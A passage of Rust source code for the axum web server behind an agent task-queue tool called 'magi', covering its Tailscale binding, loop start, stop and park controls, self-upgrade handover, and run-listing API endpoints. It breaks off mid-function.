1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Source, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::{chat, daemon, report, repos, run};
124
125pub const DEFAULT_PORT: u16 = 7878;
127
128const POLL: Duration = Duration::from_secs(1);
130
131const KEEPALIVE: Duration = Duration::from_secs(15);
135
136const LIST_DEFAULT: usize = 50;
140const LIST_MAX: usize = 500;
142
143const TITLE_MAX: usize = 72;
145
146const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
169 font-src data:; base-uri 'none'; form-action 'none'; \
170 frame-ancestors 'self'";
171
172const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
173const APP_CSS: &str = include_str!("../assets/ui/app.css");
174const APP_JS: &str = include_str!("../assets/ui/app.js");
175
176#[derive(Debug, Clone, Copy, PartialEq, Eq)]
178pub enum Bind {
179 Auto,
181 Addr(IpAddr),
183}
184
185impl std::str::FromStr for Bind {
186 type Err = String;
187
188 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
192 if s.eq_ignore_ascii_case("auto") {
193 return Ok(Self::Auto);
194 }
195 s.parse()
196 .map(Self::Addr)
197 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
198 }
199}
200
201impl std::fmt::Display for Bind {
202 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
203 match self {
204 Self::Auto => f.write_str("auto"),
205 Self::Addr(addr) => write!(f, "{addr}"),
206 }
207 }
208}
209
210#[derive(Debug, Clone)]
212pub struct Opts {
213 pub bind: Bind,
215 pub port: u16,
217 pub repo: PathBuf,
219 pub open: bool,
222 pub merge: Option<String>,
230}
231
232impl Default for Opts {
233 fn default() -> Self {
234 Self {
235 bind: Bind::Auto,
236 port: DEFAULT_PORT,
237 repo: PathBuf::from("."),
238 open: false,
239 merge: None,
240 }
241 }
242}
243
244#[derive(Debug, Clone)]
250pub struct Ui {
251 queue: Queue,
252 questions: Questions,
253 chats: Chats,
254 runs: PathBuf,
255 home: PathBuf,
256 repo: PathBuf,
257 turns: Arc<Mutex<HashSet<String>>>,
265 resuming: Arc<Mutex<HashSet<String>>>,
272 repos_cache: repos::Cache,
276 merge: Option<String>,
278 looping: Arc<Mutex<LoopState>>,
280 launch: Launch,
292}
293
294impl Ui {
295 pub fn new(
297 queue: Queue,
298 questions: Questions,
299 chats: Chats,
300 runs: PathBuf,
301 home: PathBuf,
302 repo: PathBuf,
303 ) -> Self {
304 Self {
305 queue,
306 questions,
307 chats,
308 runs,
309 home,
310 repo,
311 turns: Arc::default(),
312 resuming: Arc::default(),
313 repos_cache: repos::Cache::new(),
314 merge: None,
315 looping: Arc::default(),
316 launch: launch_daemon,
317 }
318 }
319
320 pub fn open(repo: PathBuf) -> Self {
323 Self::new(
324 Queue::open(),
325 Questions::open(),
326 Chats::open(),
327 run::runs_root(),
328 run::home(),
329 repo,
330 )
331 }
332
333 #[must_use]
340 pub fn with_merge(mut self, merge: Option<String>) -> Self {
341 self.merge = merge;
342 self
343 }
344
345 #[cfg(test)]
350 #[must_use]
351 fn with_launch(mut self, launch: Launch) -> Self {
352 self.launch = launch;
353 self
354 }
355
356 fn looping(&self) -> Arc<Mutex<LoopState>> {
358 Arc::clone(&self.looping)
359 }
360
361 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
368 if let Some(other) = foreign {
369 return Err(ApiError::conflict(format!(
370 "{} is already running the loop, so this one will not start a \
371 second: two loops on one queue race for the same claims and \
372 burn the agent quota twice over. Stop it where it was \
373 started.",
374 other.who()
375 )));
376 }
377 let mut state = self.lock_loop();
378 if state.live.as_ref().is_some_and(Live::alive) {
379 return Err(ApiError::conflict(format!(
380 "this magi web process (pid {}) is already running the loop",
381 std::process::id()
382 )));
383 }
384
385 let stop = daemon::Stop::new();
386 let opts = daemon::Opts {
390 repo: self.repo.clone(),
391 merge: self.merge.clone(),
392 ..daemon::Opts::default()
393 };
394 let launch = self.launch;
395 let looping = Arc::clone(&self.looping);
396 let handle = tokio::spawn({
397 let opts = opts.clone();
398 let stop = stop.clone();
399 async move {
400 let failure = match launch(opts, stop).await {
401 Ok(()) => None,
402 Err(e) => Some(format!("{e:#}")),
403 };
404 match &failure {
405 Some(why) => tracing::error!("the loop stopped: {why}"),
406 None => tracing::info!("the loop stopped"),
407 }
408 let mut state = lock_or_recover(&looping);
414 state.live = None;
415 state.last_error = failure;
416 state.rev += 1;
417 }
418 });
419 tracing::info!(
420 "the loop is now running in this process: repo {}, merge {}",
421 opts.repo.display(),
422 opts.merge.as_deref().unwrap_or("as the config says")
423 );
424 state.live = Some(Live { stop, handle, opts });
425 state.last_error = None;
428 state.rev += 1;
429 Ok(())
430 }
431
432 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
438 if let Some(other) = foreign {
439 return Err(ApiError::conflict(format!(
440 "the loop belongs to {}, and this process cannot stop it - \
441 stop it where it was started. A button that silently did \
442 nothing would be worse than this refusal.",
443 other.who()
444 )));
445 }
446 let mut state = self.lock_loop();
447 let Some(live) = state.live.as_ref() else {
448 return Ok(());
449 };
450 if live.stop.stopped() && (!park || live.stop.parking()) {
454 return Ok(());
455 }
456 if park {
457 live.stop.park();
458 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
459 } else {
460 live.stop.stop();
461 tracing::info!("the loop was asked to stop; a run in flight is finished first");
462 }
463 state.rev += 1;
464 Ok(())
465 }
466
467 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
474 let state = self.lock_loop();
475 let live = state.live.as_ref().filter(|live| live.alive());
478 LoopView {
479 running: live.is_some(),
480 stopping: live.is_some_and(|live| live.stop.finishing()),
481 parking: live.is_some_and(|live| live.stop.parking()),
482 owned: live.is_some(),
483 repo: live
484 .map_or(&self.repo, |live| &live.opts.repo)
485 .display()
486 .to_string(),
487 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
488 last_error: state.last_error.clone(),
489 daemon: DaemonView::of(reading),
490 }
491 }
492
493 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
495 lock_or_recover(&self.looping)
496 }
497
498 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
521 let mut live = self
522 .turns
523 .lock()
524 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
525 if !live.insert(id.to_owned()) {
526 return Err(ApiError::conflict(format!(
527 "chat {id} is already taking a turn"
528 )));
529 }
530 Ok(TurnGuard {
531 chat: id.to_owned(),
532 turns: Arc::clone(&self.turns),
533 })
534 }
535
536 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
543 let parking = {
544 let mut state = self.lock_loop();
545 let Some(live) = state.live.as_ref() else {
546 return Ok(None);
547 };
548 let busy = live.stop.busy_now();
549 live.stop.park();
550 state.rev += 1;
551 busy
552 };
553 Ok(if parking {
554 daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
555 } else {
556 None
557 })
558 }
559
560 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
564 let mut live = self
565 .resuming
566 .lock()
567 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
568 if !live.insert(id.to_owned()) {
569 return Err(ApiError::conflict(format!(
570 "run {id} is already being resumed"
571 )));
572 }
573 Ok(ResumeGuard {
574 run: id.to_owned(),
575 resuming: Arc::clone(&self.resuming),
576 })
577 }
578
579 pub fn router(self) -> Router {
587 Router::new()
588 .route("/", get(index))
589 .route("/app.css", get(app_css))
590 .route("/app.js", get(app_js))
591 .route("/api/health", get(health))
592 .route("/api/loop", get(loop_get).post(loop_post))
593 .route("/api/upgrade", post(upgrade_post))
594 .route("/api/runs", get(runs_list))
595 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
596 .route("/api/runs/{id}/report", get(run_report))
597 .route("/api/runs/{id}/fold", post(run_fold))
598 .route("/api/runs/{id}/resume", post(run_resume))
599 .route("/api/queue", get(queue_list).post(queue_post))
600 .route("/api/queue/{id}", delete(queue_delete))
601 .route("/api/repos", get(repos_list))
602 .route("/api/queue/{id}/hold", post(queue_hold))
603 .route("/api/queue/{id}/release", post(queue_release))
604 .route("/api/questions", get(questions_list))
605 .route("/api/questions/{id}/answer", post(question_answer))
606 .route("/api/questions/{id}/panel", get(question_panel))
607 .route("/api/questions/{id}/panel/index.html", get(question_panel))
615 .route("/api/questions/{id}/panel/{name}", get(question_asset))
616 .route("/api/questions/{id}/asset/{name}", get(question_asset))
617 .route("/api/chats", get(chats_list).post(chat_post))
618 .route("/api/chats/{id}", get(chat_detail))
619 .route("/api/chats/{id}/say", post(chat_say))
620 .route("/api/chats/{id}/file", post(chat_file))
621 .route("/api/events", get(events))
622 .with_state(Arc::new(self))
623 }
624}
625
626#[derive(Debug)]
632struct TurnGuard {
633 chat: String,
634 turns: Arc<Mutex<HashSet<String>>>,
635}
636
637impl Drop for TurnGuard {
638 fn drop(&mut self) {
639 if let Ok(mut live) = self.turns.lock() {
640 live.remove(&self.chat);
641 }
642 }
643}
644
645struct ResumeGuard {
647 run: String,
648 resuming: Arc<Mutex<HashSet<String>>>,
649}
650
651impl Drop for ResumeGuard {
652 fn drop(&mut self) {
653 if let Ok(mut live) = self.resuming.lock() {
654 live.remove(&self.run);
655 }
656 }
657}
658
659async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
669 const WINDOW: Duration = Duration::from_secs(10);
670 const GAP: Duration = Duration::from_millis(250);
671
672 let deadline = std::time::Instant::now() + WINDOW;
673 let mut said = false;
674 loop {
675 match tokio::net::TcpListener::bind(socket).await {
676 Ok(listener) => return Ok(listener),
677 Err(e)
678 if e.kind() == std::io::ErrorKind::AddrInUse
679 && std::time::Instant::now() < deadline =>
680 {
681 if !said {
682 said = true;
683 tracing::info!(
684 "{socket} is still held - waiting up to {}s for it, \
685 which is what a restart looks like from here",
686 WINDOW.as_secs()
687 );
688 }
689 tokio::time::sleep(GAP).await;
690 }
691 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
692 }
693 }
694}
695
696static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
699
700fn spawn_successor() -> Result<()> {
712 let exe = std::env::current_exe().context("find this binary")?;
713 let args: Vec<String> = std::env::args().skip(1).collect();
714 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
715
716 let mut cmd = std::process::Command::new(&exe);
717 cmd.args(&args)
718 .stdin(std::process::Stdio::null())
719 .stdout(std::process::Stdio::null())
720 .stderr(std::process::Stdio::null());
721 #[cfg(windows)]
722 {
723 use std::os::windows::process::CommandExt as _;
724 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
727 }
728 cmd.spawn().context("start the successor")?;
729 Ok(())
730}
731
732pub async fn serve(opts: Opts) -> Result<()> {
757 let (addr, warning) = resolve_bind(&opts.bind);
758 if let Some(warning) = warning {
759 tracing::warn!("{warning}");
760 }
761
762 report::set_color(false);
768
769 let ui = Ui::open(opts.repo).with_merge(opts.merge);
770 let looping = ui.looping();
771 let socket = SocketAddr::new(addr, opts.port);
772 let listener = bind_waiting(socket).await?;
773 let url = format!("http://{addr}:{}", opts.port);
774 tracing::info!(
775 "magi web UI on {url} - there is no authentication, so anyone who can \
776 reach this address can file and hold tasks: the tailnet is the \
777 security boundary"
778 );
779 tracing::info!(
780 "the queue loop is not running yet - start it from the UI, which is \
781 the whole reason this process can: nothing in the queue moves until \
782 something is running the loop"
783 );
784 if opts.open {
785 println!("{url}");
789 }
790
791 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
794 let interrupted = async {
795 if tokio::signal::ctrl_c().await.is_err() {
796 std::future::pending::<()>().await;
801 }
802 };
803 let handover = HANDOVER.notified();
804 tokio::select! {
805 joined = &mut served => match joined {
806 Ok(outcome) => outcome.context("serve the web UI"),
807 Err(e) => Err(e).context("the task serving the web UI ended"),
808 },
809 () = interrupted => {
810 tracing::info!("shutting down the web UI");
811 finish_loop(&looping).await;
812 Ok(())
813 }
814 () = handover => {
815 tracing::info!("upgraded - handing this address to the successor");
816 hand_over(&looping, served, spawn_successor).await
817 }
818 }
819}
820
821async fn hand_over(
844 looping: &Mutex<LoopState>,
845 served: tokio::task::JoinHandle<std::io::Result<()>>,
846 successor: impl FnOnce() -> Result<()>,
847) -> Result<()> {
848 finish_loop(looping).await;
849 served.abort();
850 let _ = served.await;
851 successor()
852}
853
854async fn finish_loop(state: &Mutex<LoopState>) {
861 let live = lock_or_recover(state).live.take();
862 let Some(live) = live else { return };
863 live.stop.stop();
864 lock_or_recover(state).rev += 1;
865 tracing::info!("waiting for the loop to finish the run in flight");
866 let _ = live.handle.await;
869}
870
871pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
877 match bind {
878 Bind::Addr(addr) => (*addr, None),
879 Bind::Auto => match tailscale_ip() {
880 Ok(ip) => (IpAddr::V4(ip), None),
881 Err(why) => (
882 IpAddr::V4(Ipv4Addr::LOCALHOST),
883 Some(format!(
884 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
885 local-only and a phone cannot reach it; start Tailscale \
886 or pass --bind <addr>"
887 )),
888 ),
889 },
890 }
891}
892
893fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
901 let out = std::process::Command::new("tailscale")
902 .args(["ip", "-4"])
903 .quiet()
904 .output()
905 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
906 if !out.status.success() {
907 let why = String::from_utf8_lossy(&out.stderr);
908 let why = why.trim();
909 return Err(format!(
910 "`tailscale ip -4` failed ({}){}",
911 out.status,
912 if why.is_empty() {
913 String::new()
914 } else {
915 format!(": {why}")
916 }
917 ));
918 }
919 String::from_utf8_lossy(&out.stdout)
920 .lines()
921 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
922 .find(is_tailnet)
923 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
924}
925
926fn is_tailnet(ip: &Ipv4Addr) -> bool {
928 let o = ip.octets();
929 o[0] == 100 && (64..=127).contains(&o[1])
930}
931
932type ApiResult<T> = std::result::Result<T, ApiError>;
936
937#[derive(Debug)]
939struct ApiError {
940 status: StatusCode,
941 message: String,
942 problems: Vec<String>,
952}
953
954impl ApiError {
955 fn bad_request(message: impl Into<String>) -> Self {
957 Self {
958 status: StatusCode::BAD_REQUEST,
959 message: message.into(),
960 problems: Vec::new(),
961 }
962 }
963
964 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
966 Self {
967 problems,
968 ..Self::bad_request(message)
969 }
970 }
971
972 fn not_found(message: impl Into<String>) -> Self {
974 Self {
975 status: StatusCode::NOT_FOUND,
976 message: message.into(),
977 problems: Vec::new(),
978 }
979 }
980
981 fn with_status(mut self, status: StatusCode) -> Self {
984 self.status = status;
985 self
986 }
987
988 fn bad_request_from(e: anyhow::Error) -> Self {
992 Self::bad_request(format!("{e:#}"))
993 }
994
995 fn conflict(message: impl Into<String>) -> Self {
996 Self {
997 status: StatusCode::CONFLICT,
998 message: message.into(),
999 problems: Vec::new(),
1000 }
1001 }
1002
1003 fn internal(message: impl Into<String>) -> Self {
1005 Self {
1006 status: StatusCode::INTERNAL_SERVER_ERROR,
1007 message: message.into(),
1008 problems: Vec::new(),
1009 }
1010 }
1011}
1012
1013impl From<anyhow::Error> for ApiError {
1014 fn from(e: anyhow::Error) -> Self {
1019 Self::internal(format!("{e:#}"))
1020 }
1021}
1022
1023impl IntoResponse for ApiError {
1024 fn into_response(self) -> Response {
1025 let mut body = serde_json::json!({ "error": self.message });
1026 if !self.problems.is_empty() {
1027 if let Some(map) = body.as_object_mut() {
1029 map.insert("problems".to_owned(), serde_json::json!(self.problems));
1030 }
1031 }
1032 (self.status, Json(body)).into_response()
1033 }
1034}
1035
1036async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1045where
1046 T: Send + 'static,
1047{
1048 match tokio::task::spawn_blocking(job).await {
1049 Ok(result) => result,
1050 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1051 }
1052}
1053
1054const ASSET_CACHE: &str = "no-cache, must-revalidate";
1072
1073fn asset_etag() -> &'static str {
1080 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1081 format!(
1082 "\"{}-{}\"",
1083 env!("CARGO_PKG_VERSION"),
1084 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1089 )
1090 });
1091 &TAG
1092}
1093
1094fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1096 [
1097 (header::CONTENT_TYPE, mime),
1098 (header::CACHE_CONTROL, ASSET_CACHE),
1099 (header::ETAG, asset_etag()),
1100 ]
1101}
1102
1103fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1111 let tag = asset_etag();
1112 let known = headers
1113 .get(header::IF_NONE_MATCH)
1114 .and_then(|v| v.to_str().ok())
1115 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1119 if known {
1120 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1121 }
1122 (asset_headers(mime), body).into_response()
1123}
1124
1125async fn index(headers: header::HeaderMap) -> Response {
1126 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1127}
1128
1129async fn app_css(headers: header::HeaderMap) -> Response {
1130 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1131}
1132
1133async fn app_js(headers: header::HeaderMap) -> Response {
1134 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1135}
1136
1137#[derive(Debug, Serialize)]
1139struct HealthView {
1140 version: &'static str,
1141 home: String,
1142 queue_rev: u64,
1143 runs_rev: u64,
1144 questions_rev: u64,
1156 chats_rev: u64,
1158 loop_rev: u64,
1163 runs_unreadable: usize,
1171 questions_open: usize,
1176 chats_open: usize,
1184 daemon: DaemonView,
1185 #[serde(rename = "loop")]
1191 looping: LoopView,
1192}
1193
1194#[derive(Debug, Serialize)]
1196struct DaemonView {
1197 running: bool,
1198 idle: Option<bool>,
1199 pid: Option<u32>,
1200 current: Option<daemon::Current>,
1201 completed: Option<u64>,
1202 stale_for_secs: Option<i64>,
1203}
1204
1205impl DaemonView {
1206 fn of(status: Option<daemon::Reading>) -> Self {
1210 let Some(status) = status else {
1211 return Self {
1212 running: false,
1213 idle: None,
1214 pid: None,
1215 current: None,
1216 completed: None,
1217 stale_for_secs: None,
1218 };
1219 };
1220 let now = Timestamp::now();
1221 let age = status.age_secs(now);
1222 Self {
1223 running: status.running(now),
1224 idle: Some(status.idle),
1225 pid: status.pid,
1226 current: status.current,
1227 completed: Some(status.completed),
1228 stale_for_secs: age,
1229 }
1230 }
1231}
1232
1233async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1234 blocking(move || {
1235 let reading = daemon::read_status(&ui.home);
1239 let loop_rev = ui.lock_loop().rev;
1243 Ok(Json(HealthView {
1244 version: env!("CARGO_PKG_VERSION"),
1245 home: ui.home.display().to_string(),
1246 queue_rev: ui.queue.revision(),
1247 runs_rev: runs_revision(&ui.runs),
1248 questions_rev: ui.questions.revision(),
1249 chats_rev: ui.chats.revision(),
1250 loop_rev,
1251 runs_unreadable: runs_unreadable(&ui.runs),
1252 questions_open: ui.questions.count_open(),
1253 chats_open: ui.chats.count_open(),
1254 daemon: DaemonView::of(reading.clone()),
1255 looping: ui.loop_view(reading),
1256 }))
1257 })
1258 .await
1259}
1260
1261#[derive(Debug, Serialize)]
1263struct LoopView {
1264 running: bool,
1266 stopping: bool,
1274 parking: bool,
1282 owned: bool,
1290 repo: String,
1293 merge: Option<String>,
1296 last_error: Option<String>,
1304 daemon: DaemonView,
1307}
1308
1309#[derive(Debug, Clone, Copy)]
1318struct Foreign {
1319 pid: Option<u32>,
1321}
1322
1323impl Foreign {
1324 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1327 let reading = reading?;
1328 if !reading.running(Timestamp::now()) {
1329 return None;
1330 }
1331 match reading.pid {
1332 Some(pid) if pid == std::process::id() => None,
1333 pid => Some(Self { pid }),
1337 }
1338 }
1339
1340 fn who(&self) -> String {
1343 match self.pid {
1344 Some(pid) => format!("another magi process (pid {pid})"),
1345 None => "another magi process".to_owned(),
1346 }
1347 }
1348}
1349
1350type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1355
1356fn launch_daemon(
1358 opts: daemon::Opts,
1359 stop: daemon::Stop,
1360) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1361 Box::pin(daemon::serve_until(opts, stop))
1362}
1363
1364#[derive(Debug, Default)]
1366struct LoopState {
1367 live: Option<Live>,
1369 rev: u64,
1377 last_error: Option<String>,
1380}
1381
1382#[derive(Debug)]
1384struct Live {
1385 stop: daemon::Stop,
1387 handle: tokio::task::JoinHandle<()>,
1392 opts: daemon::Opts,
1396}
1397
1398impl Live {
1399 fn alive(&self) -> bool {
1401 !self.handle.is_finished()
1402 }
1403}
1404
1405fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1412 state.lock().unwrap_or_else(PoisonError::into_inner)
1413}
1414
1415async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1417 blocking(move || {
1418 let reading = daemon::read_status(&ui.home);
1419 Ok(Json(ui.loop_view(reading)))
1420 })
1421 .await
1422}
1423
1424#[derive(Debug, Deserialize)]
1430#[serde(deny_unknown_fields)]
1431struct LoopCommand {
1432 running: bool,
1433 #[serde(default)]
1443 park: bool,
1444}
1445
1446async fn loop_post(
1454 State(ui): State<Arc<Ui>>,
1455 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1456) -> ApiResult<Json<LoopView>> {
1457 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1460 blocking(move || {
1461 let reading = daemon::read_status(&ui.home);
1462 let foreign = Foreign::of(reading.as_ref());
1463 if body.running {
1464 ui.start_loop(foreign)?;
1465 } else {
1466 ui.stop_loop(foreign, body.park)?;
1467 }
1468 Ok(Json(ui.loop_view(reading)))
1469 })
1470 .await
1471}
1472
1473#[derive(Debug, Serialize)]
1475struct UpgradeView {
1476 from: String,
1478 to: Option<String>,
1480 parked: Option<String>,
1482 detail: String,
1484}
1485
1486async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1510 let reading = daemon::read_status(&ui.home);
1511 if let Some(other) = Foreign::of(reading.as_ref()) {
1512 return Err(ApiError::conflict(format!(
1513 "the loop belongs to {}, so replacing this binary would leave \
1514 that process running an old one against the same queue. Upgrade \
1515 where it was started.",
1516 other.who()
1517 )));
1518 }
1519
1520 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1525 let latest = match crate::updater::Checker::new(&cfg.update) {
1526 Some(checker) => checker
1527 .newer_release()
1528 .await
1529 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1530 None => None,
1531 };
1532 let Some(latest) = latest else {
1533 return Ok((
1534 StatusCode::OK,
1535 Json(UpgradeView {
1536 from: env!("CARGO_PKG_VERSION").to_owned(),
1537 to: None,
1538 parked: None,
1539 detail: "Already on the newest release. Nothing was parked \
1540 and nothing restarted."
1541 .to_owned(),
1542 }),
1543 ));
1544 };
1545
1546 let parked = ui.park_for_upgrade()?;
1549 let detail = match &parked {
1550 Some(run) => format!(
1555 "Run {} is parking at its next step, which can take as long as \
1556 the step it is on - up to an hour for an implement wave. The \
1557 deck replaces itself once it parks, comes back, and the loop \
1558 carries that run on from where it stopped. Nothing is lost if \
1559 you close this.",
1560 crate::run::short_of(run)
1561 ),
1562 None => "The deck replaces itself and comes back. Nothing was in \
1563 flight to park."
1564 .to_owned(),
1565 };
1566
1567 tokio::spawn(async move {
1568 if let Err(e) = upgrade_and_restart().await {
1569 tracing::error!("the upgrade did not complete: {e:#}");
1570 }
1571 });
1572
1573 Ok((
1574 StatusCode::ACCEPTED,
1575 Json(UpgradeView {
1576 from: env!("CARGO_PKG_VERSION").to_owned(),
1577 to: Some(latest.tag_name.clone()),
1578 parked,
1579 detail,
1580 }),
1581 ))
1582}
1583
1584async fn upgrade_and_restart() -> Result<()> {
1589 crate::updater::run_self_update(true, false, true).await?;
1592 tracing::info!("binary replaced - asking the server to hand over");
1593 HANDOVER.notify_one();
1594 Ok(())
1595}
1596
1597#[derive(Debug, Serialize)]
1603struct RunSummary {
1604 id: String,
1605 short: String,
1606 status: String,
1607 done: bool,
1608 instruction: String,
1609 title: String,
1610 repo: String,
1611 repo_name: String,
1612 created_at: String,
1613 updated_at: String,
1614 candidates: usize,
1615 viable: usize,
1616 judges: usize,
1617 winner: Option<char>,
1618 reviews: usize,
1619 quota_losses: usize,
1620 event: Option<String>,
1621 superseded_by: Option<String>,
1626 waiting: bool,
1633 pr: Option<crate::run::PrRecord>,
1635}
1636
1637impl RunSummary {
1638 fn of(state: &RunState, waiting: bool) -> Self {
1639 Self {
1640 id: state.id.clone(),
1641 short: state.short().to_owned(),
1642 status: status_word(state.status),
1643 done: state.status.done(),
1644 instruction: state.instruction.clone(),
1645 title: title_from(&state.instruction, TITLE_MAX),
1646 repo: state.repo.display().to_string(),
1647 repo_name: state
1648 .repo
1649 .file_name()
1650 .map(|n| n.to_string_lossy().into_owned())
1651 .unwrap_or_default(),
1652 created_at: state.created_at.to_string(),
1653 updated_at: state.updated_at.to_string(),
1654 candidates: state.candidates.len(),
1655 viable: state.viable().len(),
1656 judges: state.config.graph.judges,
1657 winner: state.winner().map(|c| c.label),
1658 reviews: state.reviews.len(),
1659 quota_losses: state.quota.len(),
1660 event: state.events.last().map(|e| e.message.clone()),
1661 waiting,
1662 superseded_by: None,
1665 pr: state.pr.clone(),
1666 }
1667 }
1668}
1669
1670fn status_word(status: RunStatus) -> String {
1673 status.as_str().to_owned()
1677}
1678
1679#[derive(Debug, Deserialize)]
1681struct ListQuery {
1682 #[serde(default)]
1683 limit: Option<usize>,
1684}
1685
1686async fn runs_list(
1687 State(ui): State<Arc<Ui>>,
1688 Query(q): Query<ListQuery>,
1689) -> ApiResult<Json<Vec<RunSummary>>> {
1690 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1691 blocking(move || {
1692 let superseded = superseded_runs(&ui.queue);
1693 let summaries = run_ids(&ui.runs)
1694 .into_iter()
1695 .filter_map(|id| read_run(&ui.runs, &id).ok())
1700 .take(limit)
1701 .map(|state| {
1702 let waiting = !ui.questions.open_for(&state.id).is_empty();
1703 let by = superseded.get(&state.id).cloned();
1704 let mut row = RunSummary::of(&state, waiting);
1705 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1706 row
1707 })
1708 .collect();
1709 Ok(Json(summaries))
1710 })
1711 .await
1712}
1713
1714fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1727 let mut by = HashMap::new();
1728 for task in queue.list() {
1729 for pair in task.runs.windows(2) {
1730 if let [earlier, later] = pair {
1731 by.insert(earlier.clone(), later.clone());
1732 }
1733 }
1734 }
1735 by
1736}
1737
1738#[derive(Debug, Serialize)]
1745struct RunDetailView {
1746 #[serde(flatten)]
1747 state: RunState,
1748 instruction_md: Vec<md::Node>,
1749}
1750
1751impl From<RunState> for RunDetailView {
1752 fn from(state: RunState) -> Self {
1753 Self {
1754 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1755 state,
1756 }
1757 }
1758}
1759
1760async fn run_detail(
1761 State(ui): State<Arc<Ui>>,
1762 Path(id): Path<String>,
1763) -> ApiResult<Json<RunDetailView>> {
1764 blocking(move || {
1765 let id = resolve_run(&ui.runs, &id)?;
1766 Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1767 })
1768 .await
1769}
1770
1771async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1777 blocking(move || {
1778 let id = resolve_run(&ui.runs, &id)?;
1779 let state = read_run(&ui.runs, &id)?;
1780 let in_flight = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1781 state
1782 .ensure_can_delete(in_flight)
1783 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1784 let dir = ui.runs.join(&id);
1785 std::fs::remove_dir_all(&dir)
1786 .with_context(|| format!("remove run directory {}", dir.display()))?;
1787 ui.questions.abandon_for_run(
1790 &id,
1791 &format!("run {id} was deleted, so nothing is waiting for this answer"),
1792 )?;
1793 Ok(StatusCode::NO_CONTENT)
1794 })
1795 .await
1796}
1797
1798async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1817 let (id, mut state) = {
1818 let ui = Arc::clone(&ui);
1819 blocking(move || {
